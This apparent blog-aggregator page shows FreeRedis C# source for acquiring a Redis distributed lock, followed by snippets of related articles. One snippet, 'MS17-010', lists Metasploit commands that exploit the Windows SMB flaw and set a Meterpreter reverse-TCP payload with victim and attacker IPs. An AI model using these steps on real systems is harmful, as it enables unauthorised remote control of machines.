Redis分布式锁实现

news/发布时间2024/8/25 17:12:51

FreeRedis 实现源码

/// <summary>
/// 开启分布式锁,若超时返回null
/// </summary>
/// <param name="name">锁名称</param>
/// <param name="timeoutSeconds">超时(秒)</param>
/// <param name="autoDelay">自动延长锁超时时间,看门狗线程的超时时间为timeoutSeconds/2 , 在看门狗线程超时时间时自动延长锁的时间为timeoutSeconds。除非程序意外退出,否则永不超时。</param>
/// <returns></returns>
public LockController Lock(string name, int timeoutSeconds, bool autoDelay = true)
{name = $"RedisClientLock:{name}";var startTime = DateTime.Now;while (DateTime.Now.Subtract(startTime).TotalSeconds < timeoutSeconds){var value = Guid.NewGuid().ToString();if (SetNx(name, value, timeoutSeconds) == true){double refreshSeconds = (double)timeoutSeconds / 2.0;return new LockController(this, name, value, timeoutSeconds, refreshSeconds, autoDelay);}Thread.CurrentThread.Join(3);}return null;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.liansuoyi.cn/news/05711355.html

如若内容造成侵权/违法违规/事实不符,请联系连锁易网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

几何深度学习技术杂谈

几何深度学习技术杂谈 计算机视觉的最新进展,主要来自于新颖的深度学习方法,以及基于大量数据来执行特定任务的分层机器学习模型,随之而来的性能提升,引发了其他科学领域类似应用的淘金热。 https://arxiv.org/pdf/1611.08097.pdf 随着深度学习技术的发展,人们已经不满足于…

Vue 异步更新和$nextTick

使用延时器也是可以实现的,但是等待的时间不确定, 不是最优解,使用钩子函数update,可能会被其他元素的更新,触发了不该有的动作

SpringBoot+vue+Axios实现Token令牌

前后端Token实现 目录前后端Token实现认识TokenJWT组成HeaderPayloadSignatureJWT简单使用创建JWT解析JWT常见异常后端Maven依赖封装JWT工具获取并响应Token拦截器验证Token前端登录+存储Token前端拦截器 认识Token 对Token有了解可以跳过。 使用Token存储用户信息,认证用户。…

两栏布局,三栏布局

两栏布局:窗口被分为左右两个部分,一部分为宽度固定,高度自适应。一部分为宽度高度都是自适应。如下:左边为固定宽度,右边为自适应 方法一<style>*{margin: 0;padding: 0;}html,body{height:100%;}.box1{width:500px;height:100%;background-color: blue;float: lef…

Vue sync修饰符

和v-model 作用类似就是简写触发相应的时间, 但是v-model是固定的写法, 使用sync就类似重命名 :

算法题解——轮转数组

题目 给定一个整数数组 nums,将数组中的元素向右轮转 k 个位置,其中 k 是非负数。 示例 1:输入: nums = [1,2,3,4,5,6,7], k = 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1,2,3,4,5,6] 向右轮转 2 步: [6,7,1,2,3,4,5] 向右轮转 3 步: [5,6,7,1,2,3,4]示例 2:输入:n…

工厂方法模式--Java代码实现

1、画类图2、Java代码实现其中可知, PWFactory、PW类均为接口类; 并且,DESFactory、IDEAFactory类均要实现PWFactory接口; DES、IDEA类均要实现PW接口; 具体代码如下: //PWFactory.java package org.example;public interface PWFactory {public PW createProduce(); }//…

主席树

权值线段树 思路: 现将数值离散化 每个节点存的是值在 \(l\) ~ \(r\) 之间的数的个数,用线段树维护 作用: 求 \(k\) 小值 或 \(k\) 大值 查某一数值的排名 查询数组排序 查前驱、后继 求逆序对 相比平衡树:码量小、简单 P1801 黑匣子 离散化: sort(alls.begin(),alls.end(…

Codeforces 512D. Fox And Travelling 题解

Fox And Travelling 题面翻译给定一张 \(n\) 个点 \(m\) 条边的无向图。 一个点只有当与它直接相连的点中最多只有一个点未被选择过时才可被选择。 询问对于每个 \(k \in [0,n]\),有序选择 \(k\) 个点的方案数。 \(n \le 100\),\(m \le \frac{n(n-1)}2\),答案对 \(10^9+9\) …

货拉拉面试:全程八股!被问麻了

今天来看货拉拉 Java 技术岗的面试问题,废话不多说,先看问题。 一面问题先让介绍项目,超卖问题项目是怎么实现的?有什么改进的想法? 线程池的核心参数? 在秒杀的过程中,比如只有 10 个名额,有 100 个人去抢,页面上需要做一些什么处理? HashSet 了解吗? HashMap 了解…

第一节-MS17-010

//输入命令对IP进行完整的扫描 nmap -T4 -A -v ip //输入命令启用msf msfconsole //输入命令进行漏洞搜索 search ms17-010 //选择使用攻击模块 use 0//设置攻击负载set payload windows/x64/meterpreter/reverse_tcp//设置受害者IPset rhost xxx.xxx.xxx.xxx//设置攻击者IPset…

DPDK-22.11.2 [五] 多进程

dpdk支持多进程运行,不过要指定参数打开,如果没有设定,但开启第二个dpdk程序是会报错,告诉你相关系统资源被占用。 EAL: Cannot create lock on /var/run/dpdk/rte/config. Is another primary process running? EAL: FATAL: Cannot init config EAL: Cannot init configd…

浅析斐波那契数列在代码中的应用

斐波那契数列在代码中的应用是比较常见的,下面让我们来了解下一个数学上的数列在代码中会有哪些应用。了解斐波那契,可以给我们提供解决某些问题的思路,优化解决问题的方法。by emanjusaka from ​ https://www.emanjusaka.top/archives/9 彼岸花开可奈何 本文欢迎分享与聚合…

Centos 7NTP时间同步设置

iunx时间同步设置 一、输入date查看系统的时间二、安装ntp软件 输入yum -y install ntp 三、更改时间配置文件vim /etc/chrony.conf 设置同步时间服务IP为172.21.32.1时间服务器 五、测试同步时间,输改ntpdat 172.21.32.1

动态词云图已经get!!!

1、结果呈现(虽然并不好看)2、使用spring+echarts实现(向前端传递list数据,前端改成json数据进行获取) 前端html代码: <!DOCTYPE html> <html lang="en"> <head><meta charset="utf-8"><title>ECharts</title>&…

Slackware-Based Porteus Linux 5.01 正式发布,搭载 Linux Kernel 6.5

导读 此版本还配备了最新的 LXQt 1.3 桌面环境以及一个用于将 xz 模块转换为 zstd 的新脚本。Porteus Linux 团队 宣布 作为 Slackware Linux 基础的便携 GNU/Linux 发行版的去年 Porteus 5.0 版本的次要更新,发布了 Porteus Linux 5.01。基于 2023年9月21日 Slackware-15.0-p…

学信息系统项目管理师第4版系列25_项目绩效域(上)

项目绩效域1. 绩效评估是指以员工与组织的共同发展为目标,通过正式的结构化的制度或方法,评价和测量在一定的周期内团队或员工个人的工作行为和工作成果,全面了解员工的发展潜力 1.1. 【高23上选13】 2. 干系人绩效域 2.1. 涉及与干系人相关的活动和职能 2.2. 可以实现的预期…

Codeforces Round 903 (Div. 3)

A. Dont Try to Count 解题思路 我们发现当 \(x.size() < s.size()\) 的时候,我们必须要让 \(x+=x\),当 \(x.size() \ge s.size()\) 的时候,我们只要此时判一下 \(x\) 中是否存在子串 \(s\),存在则马上输出答案,否则只要再执行一次 \(x+=x\) 如果此时还未有解,那么必然…
推荐文章